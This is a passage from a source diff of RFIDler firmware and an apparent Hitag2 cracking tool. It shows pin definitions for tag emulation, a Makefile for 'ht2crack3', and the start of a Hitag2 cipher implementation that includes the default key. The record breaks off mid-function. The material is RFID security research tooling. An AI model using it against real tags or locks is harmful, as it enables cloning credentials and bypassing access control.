#define INPUT_PIN 1
|
||||
#define OUTPUT_PIN 0
|
||||
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
|
||||
#define ENABLE 1
|
||||
#define DISABE 0
|
||||
|
||||
#define EVEN 0
|
||||
#define ODD 1
|
||||
|
||||
#define LOW FALSE
|
||||
#define HIGH TRUE
|
||||
|
||||
#define CLOCK_ON LOW
|
||||
#define CLOCK_OFF HIGH
|
||||
|
||||
// output coil control - select between reader/emulator circuits
|
||||
#define COIL_MODE LATBbits.LATB4
|
||||
#define COIL_MODE_READER() COIL_MODE= LOW
|
||||
#define COIL_MODE_EMULATOR() COIL_MODE= HIGH
|
||||
|
||||
// coil for emulation
|
||||
#define COIL_OUT LATGbits.LATG9
|
||||
#define COIL_OUT_HIGH() COIL_OUT=HIGH
|
||||
#define COIL_OUT_LOW() COIL_OUT=LOW
|
||||
|
||||
// door relay (active low)
|
||||
#define DOOR_RELAY LATAbits.LATA14
|
||||
#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH
|
||||
#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW
|
||||
|
||||
// inductance/capacitance freq
|
||||
#define IC_FREQUENCY PORTAbits.RA2
|
||||
|
||||
#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect
|
||||
#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue
|
||||
#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue
|
||||
#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue
|
||||
|
||||
// clock coil (normally controlled by OC Module, but defined here so we can force it high or low)
|
||||
#define CLOCK_COIL PORTDbits.RD4
|
||||
#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire
|
||||
|
||||
// digital output after analogue reader circuit
|
||||
#define READER_DATA PORTDbits.RD8
|
||||
|
||||
// trace / debug
|
||||
#define DEBUG_PIN_1 LATCbits.LATC1
|
||||
#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1
|
||||
#define DEBUG_PIN_2 LATCbits.LATC2
|
||||
#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2
|
||||
#define DEBUG_PIN_3 LATCbits.LATC3
|
||||
#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3
|
||||
#define DEBUG_PIN_4 LATEbits.LATE5
|
||||
#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4
|
||||
|
||||
// spi (sdi1) for sd card (not directly referenced)
|
||||
//#define SD_CARD_RX LATCbits.LATC4
|
||||
//#define SD_CARD_TX LATDbits.LATD0
|
||||
//#define SD_CARD_CLK LATDbits.LATD10
|
||||
//#define SD_CARD_SS LATDbits.LATD9
|
||||
// spi for SD card
|
||||
#define SD_CARD_DET LATFbits.LATF0
|
||||
#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it
|
||||
// (held LOW by default - cut solder bridge to GND to free pin if required)
|
||||
#define SPI_SD SPI_CHANNEL1
|
||||
#define SPI_SD_BUFF SPI1BUF
|
||||
#define SPI_SD_STAT SPI1STATbits
|
||||
// see section below for more defines!
|
||||
|
||||
// iso 7816 smartcard
|
||||
// microchip SC module defines pins so we don't need to, but
|
||||
// they are listed here to help avoid conflicts
|
||||
#define ISO_7816_RX LATBbits.LATF2 // RX
|
||||
#define ISO_7816_TX LATBbits.LATF8 // TX
|
||||
#define ISO_7816_VCC LATBbits.LATB9 // Power
|
||||
#define ISO_7816_CLK LATCbits.LATD1 // Clock
|
||||
#define ISO_7816_RST LATEbits.LATE8 // Reset
|
||||
|
||||
// user LED
|
||||
#define USER_LED LATDbits.LATD7
|
||||
#define USER_LED_ON() LATDbits.LATD7=1
|
||||
#define USER_LED_OFF() LATDbits.LATD7=0
|
||||
|
||||
// LCR
|
||||
#define LCR_CALIBRATE LATBbits.LATB5
|
||||
|
||||
// wiegand / clock & data
|
||||
#define WIEGAND_IN_0 PORTDbits.RD5
|
||||
#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14
|
||||
#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14
|
||||
#define WIEGAND_IN_1 PORTDbits.RD6
|
||||
#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15
|
||||
#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15
|
||||
#define CAND_IN_DATA WIEGAND_IN_0
|
||||
#define CAND_IN_CLOCK WIEGAND_IN_1
|
||||
|
||||
#define WIEGAND_OUT_0 LATDbits.LATD3
|
||||
#define WIEGAND_OUT_1 LATDbits.LATD2
|
||||
#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3
|
||||
#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2
|
||||
#define CAND_OUT_DATA WIEGAND_OUT_0
|
||||
#define CAND_OUT_CLOCK WIEGAND_OUT_1
|
||||
|
||||
// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier
|
||||
#define READER_CLOCK_ENABLE LATEbits.LATE9
|
||||
#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON
|
||||
#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;}
|
||||
|
||||
// these input pins must NEVER bet set to output or they will cause short circuits!
|
||||
// they can be used to see data from reader before it goes into or gate
|
||||
#define OR_IN_A PORTAbits.RA4
|
||||
#define OR_IN_B PORTAbits.RA5
|
||||
|
||||
|
||||
// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on
|
||||
#define Init_GPIO() { \
|
||||
CNCONbits.ON= TRUE; \
|
||||
CNENbits.CNEN14= TRUE; \
|
||||
CNENbits.CNEN15= TRUE; \
|
||||
TRISAbits.TRISA2= INPUT_PIN; \
|
||||
TRISAbits.TRISA4= INPUT_PIN; \
|
||||
TRISAbits.TRISA5= INPUT_PIN; \
|
||||
TRISAbits.TRISA14= OUTPUT_PIN; \
|
||||
TRISAbits.TRISA15= OUTPUT_PIN; \
|
||||
TRISBbits.TRISB4= OUTPUT_PIN; \
|
||||
TRISBbits.TRISB5= OUTPUT_PIN; \
|
||||
TRISBbits.TRISB9= OUTPUT_PIN; \
|
||||
TRISBbits.TRISB11= INPUT_PIN; \
|
||||
TRISBbits.TRISB12= INPUT_PIN; \
|
||||
TRISBbits.TRISB13= INPUT_PIN; \
|
||||
TRISCbits.TRISC1= OUTPUT_PIN; \
|
||||
TRISCbits.TRISC2= OUTPUT_PIN; \
|
||||
TRISCbits.TRISC3= OUTPUT_PIN; \
|
||||
TRISCbits.TRISC4= INPUT_PIN; \
|
||||
TRISDbits.TRISD0= INPUT_PIN; \
|
||||
TRISDbits.TRISD1= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD2= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD3= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD4= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD5= INPUT_PIN; \
|
||||
TRISDbits.TRISD6= INPUT_PIN; \
|
||||
TRISDbits.TRISD7= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD8= INPUT_PIN; \
|
||||
TRISDbits.TRISD11= OUTPUT_PIN; \
|
||||
TRISDbits.TRISD12= INPUT_PIN; \
|
||||
TRISEbits.TRISE0= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE1= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE2= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE3= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE5= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE6= INPUT_PIN; \
|
||||
TRISEbits.TRISE7= INPUT_PIN; \
|
||||
TRISEbits.TRISE8= OUTPUT_PIN; \
|
||||
TRISEbits.TRISE9= OUTPUT_PIN; \
|
||||
TRISFbits.TRISF0= INPUT_PIN; \
|
||||
TRISFbits.TRISF1= INPUT_PIN; \
|
||||
TRISFbits.TRISF2= INPUT_PIN; \
|
||||
TRISFbits.TRISF8= OUTPUT_PIN; \
|
||||
TRISGbits.TRISG6= OUTPUT_PIN; \
|
||||
TRISGbits.TRISG12= INPUT_PIN; \
|
||||
TRISGbits.TRISG13= INPUT_PIN; \
|
||||
TRISGbits.TRISG9= OUTPUT_PIN; \
|
||||
LATBbits.LATB9= LOW; \
|
||||
LATCbits.LATC1= LOW; \
|
||||
LATCbits.LATC2= LOW; \
|
||||
LATCbits.LATC3= LOW; \
|
||||
LATDbits.LATD2= WIEGAND_IN_1; \
|
||||
LATDbits.LATD3= WIEGAND_IN_0; \
|
||||
LATEbits.LATE5= LOW; \
|
||||
LATEbits.LATE9= HIGH; \
|
||||
}
|
||||
|
||||
// uart3 (CLI/API) speed
|
||||
#define BAUDRATE3 115200UL
|
||||
#define BRG_DIV3 4
|
||||
#define BRGH3 1
|
||||
|
||||
// spi for potentiometer
|
||||
#define SPI_POT SPI_CHANNEL4
|
||||
#define SPI_POT_BUFF SPI4BUF
|
||||
#define SPI_POT_STAT SPI4STATbits
|
||||
|
||||
// spi for sd card - defines required for Microchip SD-SPI libs
|
||||
// define interface type
|
||||
#define USE_SD_INTERFACE_WITH_SPI
|
||||
|
||||
#define MDD_USE_SPI_1
|
||||
#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON)
|
||||
#define SPI_START_CFG_2 (SPI_ENABLE)
|
||||
// Define the SPI frequency
|
||||
#define SPI_FREQUENCY (20000000)
|
||||
// Description: SD-SPI Card Detect Input bit
|
||||
#define SD_CD PORTFbits.RF0
|
||||
// Description: SD-SPI Card Detect TRIS bit
|
||||
#define SD_CD_TRIS TRISFbits.TRISF0
|
||||
// Description: SD-SPI Write Protect Check Input bit
|
||||
#define SD_WE PORTFbits.RF1
|
||||
// Description: SD-SPI Write Protect Check TRIS bit
|
||||
#define SD_WE_TRIS TRISFbits.TRISF1
|
||||
// Description: The main SPI control register
|
||||
#define SPICON1 SPI1CON
|
||||
// Description: The SPI status register
|
||||
#define SPISTAT SPI1STAT
|
||||
// Description: The SPI Buffer
|
||||
#define SPIBUF SPI1BUF
|
||||
// Description: The receive buffer full bit in the SPI status register
|
||||
#define SPISTAT_RBF SPI1STATbits.SPIRBF
|
||||
// Description: The bitwise define for the SPI control register (i.e. _____bits)
|
||||
#define SPICON1bits SPI1CONbits
|
||||
// Description: The bitwise define for the SPI status register (i.e. _____bits)
|
||||
#define SPISTATbits SPI1STATbits
|
||||
// Description: The enable bit for the SPI module
|
||||
#define SPIENABLE SPICON1bits.ON
|
||||
// Description: The definition for the SPI baud rate generator register (PIC32)
|
||||
#define SPIBRG SPI1BRG
|
||||
// Description: The TRIS bit for the SCK pin
|
||||
#define SPICLOCK TRISDbits.TRISD10
|
||||
// Description: The TRIS bit for the SDI pin
|
||||
#define SPIIN TRISCbits.TRISC4
|
||||
// Description: The TRIS bit for the SDO pin
|
||||
#define SPIOUT TRISDbits.TRISD0
|
||||
#define SD_CS LATDbits.LATD9
|
||||
// Description: SD-SPI Chip Select TRIS bit
|
||||
#define SD_CS_TRIS TRISDbits.TRISD9
|
||||
//SPI library functions
|
||||
#define putcSPI putcSPI1
|
||||
#define getcSPI getcSPI1
|
||||
#define OpenSPI(config1, config2) OpenSPI1(config1, config2)
|
||||
|
||||
// Define setup parameters for OpenADC10 function
|
||||
// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample
|
||||
#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON)
|
||||
// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode
|
||||
#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
|
||||
|
||||
// Use ADC internal clock | Set sample time
|
||||
#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0)
|
||||
|
||||
// slow sample rate for tuning coils
|
||||
#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
|
||||
#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31)
|
||||
|
||||
// use AN11
|
||||
#define ADC_CONFIGPORT ENABLE_AN11_ANA
|
||||
// Do not assign channels to scan
|
||||
#define ADC_CONFIGSCAN SKIP_SCAN_ALL
|
||||
|
||||
#define ADC_TO_VOLTS 0.003208F
|
||||
|
||||
|
||||
// flash memory - int myvar = *(int*)(myflashmemoryaddress);
|
||||
|
||||
// memory is 0x9D005000 to 0x9D07FFFF
|
||||
|
||||
#define NVM_MEMORY_END 0x9D07FFFF
|
||||
#define NVM_PAGE_SIZE 4096
|
||||
#define NVM_PAGES 2 // config & VTAG
|
||||
#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES))
|
||||
|
||||
// UART timeout in us
|
||||
#define SERIAL_TIMEOUT 100
|
||||
|
||||
#endif
|
19
tools/hitag2crack/crack3/Makefile
Normal file
19
tools/hitag2crack/crack3/Makefile
Normal file
|
@ -0,0 +1,19 @@
|
|||
WARN=-Wall
|
||||
INCLUDE=-I../include
|
||||
CFLAGS=-c $(WARN) $(INCLUDE)
|
||||
LIBS=
|
||||
|
||||
all: ht2crack3.c ht2test.c hitagcrypto.o utilpart.o
|
||||
cc $(WARN) -o ht2crack3 ht2crack3.c hitagcrypto.o utilpart.o -lpthread $(LIBS)
|
||||
cc $(WARN) -o ht2test ht2test.c hitagcrypto.o utilpart.o $(LIBS)
|
||||
|
||||
hitagcrypto.o: hitagcrypto.c hitagcrypto.h
|
||||
cc $(CFLAGS) hitagcrypto.c
|
||||
|
||||
utilpart.o: utilpart.c util.h
|
||||
cc $(CFLAGS) utilpart.c
|
||||
|
||||
clean:
|
||||
rm -rf *.o ht2crack3 ht2test
|
||||
|
||||
fresh: clean all
|
485
tools/hitag2crack/crack3/hitagcrypto.c
Normal file
485
tools/hitag2crack/crack3/hitagcrypto.c
Normal file
|
@ -0,0 +1,485 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: unknown.
|
||||
// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
// uncomment this to build file as a standalone crypto test program
|
||||
// #define UNIT_TEST
|
||||
// also uncomment to include verbose debug prints
|
||||
// #define TEST_DEBUG
|
||||
|
||||
//#include <GenericTypeDefs.h>
|
||||
#include "HardwareProfile.h"
|
||||
#include "rfidler.h"
|
||||
#include "hitagcrypto.h"
|
||||
#include "util.h"
|
||||
|
||||
#ifdef UNIT_TEST
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
|
||||
#if defined(UNIT_TEST) && defined(TEST_DEBUG)
|
||||
// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++.
|
||||
// This may need changing for other compilers/platforms.
|
||||
#define DEBUG_PRINTF(...) printf(__VA_ARGS__)
|
||||
#else
|
||||
#define DEBUG_PRINTF(...)
|
||||
#endif
|
||||
|
||||
|
||||
/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu)
|
||||
|
||||
Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft
|
||||
fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications.
|
||||
At about the same time, late 1980s to early 1990s, Mikron developed the
|
||||
similarly featured Mifare micropayment card for 13.56MHz RFID.
|
||||
(Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a
|
||||
priority date of 23 Aug 1990.)
|
||||
Mikron was subsequently acquired by Philips Semiconductors in 1995.
|
||||
Philips Semiconductors divsion subsequently became NXP.
|
||||
|
||||
+ Modulation read/write device -> transponder: 100 % ASK and binary pulse
|
||||
length coding
|
||||
+ Modulation transponder -> read/write device: Strong ASK modulation,
|
||||
selectable Manchester or Biphase coding
|
||||
+ Hitag S, Hitag u; anti-collision procedure
|
||||
+ Fast anti-collision protocol
|
||||
+ Hitag u; optional Cyclic Redundancy Check (CRC)
|
||||
+ Reader Talks First mode
|
||||
+ Hitag 2 & later; Transponder Talks First (TTF) mode
|
||||
+ Temporary switch from Transponder Talks First into Reader Talks First
|
||||
(RTF) Mode
|
||||
+ Data rate read/write device to transponder: 5.2 kbit/s
|
||||
+ Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s
|
||||
+ 32-bit password feature
|
||||
+ Hitag 2, S = 32-bit Unique Identifier
|
||||
+ Hitag u = 48-bit Unique Identifier
|
||||
+ Selectable password modes for reader / tag mutual authentication
|
||||
(Hitag 1 has 2 pairs of keys, later versions have 1 pair)
|
||||
+ Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key
|
||||
|
||||
Known tag types:
|
||||
|
||||
HITAG 1 2048 bits total memory
|
||||
|
||||
HITAG 2 256 Bit total memory Read/Write
|
||||
8 pages of 32 bits, inc UID (32),
|
||||
secret key (64), password (24), config (8)
|
||||
|
||||
HITAG S 32 32 bits Unique Identifier Read Only
|
||||
HITAG S 256 256 bits total memory Read/Write
|
||||
HITAG S 2048 2048 bits total memory Read/Write
|
||||
|
||||
HITAG u RO64 64 bits total memory Read Only
|
||||
HITAG u 128 bits total memory Read/Write
|
||||
HITAG u Advanced 512 bits total memory Read/Write
|
||||
HITAG u Advanced+ 1760 bits total memory Read/Write
|
||||
|
||||
Default 48-bit key for Hitag 2, S encryption:
|
||||
"MIKRON" = O N M I K R
|
||||
Key = 4F 4E 4D 49 4B 52
|
||||
|
||||
*/
|
||||
|
||||
|
||||
// We want the crypto functions to be as fast as possible, so optimize!
|
||||
// The best compiler optimization in Microchip's free XC32 edition is -O1
|
||||
#pragma GCC optimize("O1")
|
||||
|
||||
// private, nonlinear function to generate 1 crypto bit
|
||||
static uint32_t hitag2_crypt(uint64_t x);
|
||||
|
||||
|
||||
// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number
|
||||
#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
|
||||
#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
|
||||
((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
|
||||
#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
|
||||
((S >> (C - 2)) & 0xC) )
|
||||
#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
|
||||
((S >> (C - 3)) & 8) )
|
||||
#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
|
||||
((S >> (C - 3)) & 8) )
|
||||
|
||||
|
||||
static uint32_t hitag2_crypt(uint64_t s)
|
||||
{
|
||||
const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
|
||||
const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
|
||||
const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
|
||||
uint32_t bitindex;
|
||||
|
||||
bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;
|
||||
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;
|
||||
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;
|
||||
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;
|
||||
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
|
||||
|
||||
DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex);
|
||||
return (ht2_function5c >> bitindex) & 1;
|
||||
}
|
||||
|
||||
/*
|
||||
* Parameters:
|
||||
* Hitag_State* pstate - output, internal state after initialisation
|
||||
* uint64_t sharedkey - 48 bit key shared between reader & tag
|
||||
* uint32_t serialnum - 32 bit tag serial number
|
||||
* uint32_t initvector - 32 bit random IV from reader, part of tag authentication
|
||||
*/
|
||||
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector)
|
||||
{
|
||||
// init state, from serial number and lowest 16 bits of shared key
|
||||
uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum;
|
||||
|
||||
// mix the initialisation vector and highest 32 bits of the shared key
|
||||
initvector ^= (uint32_t) (sharedkey >> 16);
|
||||
|
||||
// move 16 bits from (IV xor Shared Key) to top of uint64_t state
|
||||
// these will be XORed in turn with output of the crypto function
|
||||
state |= (uint64_t) initvector << 48;
|
||||
initvector >>= 16;
|
||||
|
||||
// unrolled loop is faster on PIC32 (MIPS), do 32 times
|
||||
// shift register, then calc new bit
|
||||
state >>= 1;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
|
||||
// highest 16 bits of IV XOR Shared Key
|
||||
state |= (uint64_t) initvector << 47;
|
||||
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;
|
||||
